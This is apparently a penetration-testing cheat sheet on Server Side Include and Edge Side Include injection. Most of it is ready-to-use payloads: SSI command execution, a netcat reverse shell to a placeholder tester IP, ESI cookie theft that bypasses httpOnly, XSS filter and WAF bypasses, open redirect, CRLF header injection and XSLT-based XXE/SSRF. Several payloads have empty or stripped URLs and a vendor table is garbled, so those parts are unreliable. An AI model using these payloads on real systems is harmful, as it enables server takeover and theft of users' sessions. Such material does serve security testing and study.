Server Side Inclusion/Edge Side Inclusion Injection

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Server Side Inclusion Basic Information

(Introduction taken from Apache docs)

SSI (Server Side Includes) are directives that are placed in HTML pages, and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology. For example, you might place a directive into an existing HTML page, such as:

<!--#echo var="DATE_LOCAL" -->

And, when the page is served, this fragment will be evaluated and replaced with its value:

Tuesday, 15-Jan-2013 19:28:54 EST

The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution.

You can infer the presence of SSI if the web application uses files with the extensions ** .shtml, .shtm or .stm**, but it's not only the case.

A typical SSI expression has the following format:

<!--#directive param="value" -->


// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

There is a problem caching information or dynamic applications as part of the content may have varied for the next time the content is retrieved. This is what ESI is used form, to indicate using ESI tags the dynamic content that needs to be generated before sending the cache version. if an attacker is able to inject an ESI tag inside the cache content, then, he could be able to inject arbitrary content on the document before it's sent to the users.

ESI Detection

The following header in a response from the server means that the server is using ESI:

Surrogate-Control: content="ESI/1.0"

If you can't find this header, the server might be using ESI anyways. A blind exploitation approach can also be used as a request should arrive to the attackers server:

// Basic detection
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=>

// XSS Exploitation Example
<esi:include src=>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response

ESI exploitation

GoSecure created a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:

  • Includes: Supports the <esi:includes> directive

  • Vars: Supports the <esi:vars> directive. Useful for bypassing XSS Filters

  • Cookie: Document cookies are accessible to the ESI engine

  • Upstream Headers Required: Surrogate applications will not process ESI statements unless the upstream application provides the headers

  • Host Allowlist: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those hosts





Upstream Headers Required

Host Whitelist







Varnish Cache












Akamai ESI Test Server (ETS)






NodeJS esi






NodeJS nodesi







The following ESI directive will load an arbitrary file inside the response of the server

<esi:include src=>

Bypass client XSS protection

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
  • Remote steal cookie

<esi:include src=$(HTTP_COOKIE)>
<esi:include src="$(HTTP_COOKIE{'JSESSIONID'})" />
  • Steal cookie HTTP_ONLY with XSS by reflecting it in the response:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)

# It's possible to put more complex JS code to steal cookies or perform actions

Private Local File

Do not confuse this with a "Local File Inclusion":

<esi:include src="secret.txt">


<esi:include src=""/>

Open Redirect

The following will add a Location header to the response

<!--esi $add_header('Location','') -->

Add Header

  • Add header in forced request

<esi:include src="">
<esi:request_header name="User-Agent" value="12345"/>
  • Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS)



# Check the number of url_decode to know how many times you can URL encode the value

CRLF in Add header (CVE-2019-2438)

<esi:include src="">
<esi:request_header name="User-Agent" value="12345

Akamai debug

This will send debug information included in the response:



By specifying the xslt value for the dca parameter, it is feasible to include eXtensible Stylesheet Language Transformations (XSLT) based ESI. The inclusion causes the HTTP surrogate to retrieve the XML and XSLT files, with the latter filtering the former. Such XML files are exploitable for XML External Entity (XXE) attacks, enabling attackers to execute SSRF attacks. However, the utility of this approach is limited since ESI includes already serve as an SSRF vector. Due to the absence of support in the underlying Xalan library, external DTDs are not processed, preventing local file extraction.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT file:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "" >]>

Check the XSLT page:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)


Brute-Force Detection List

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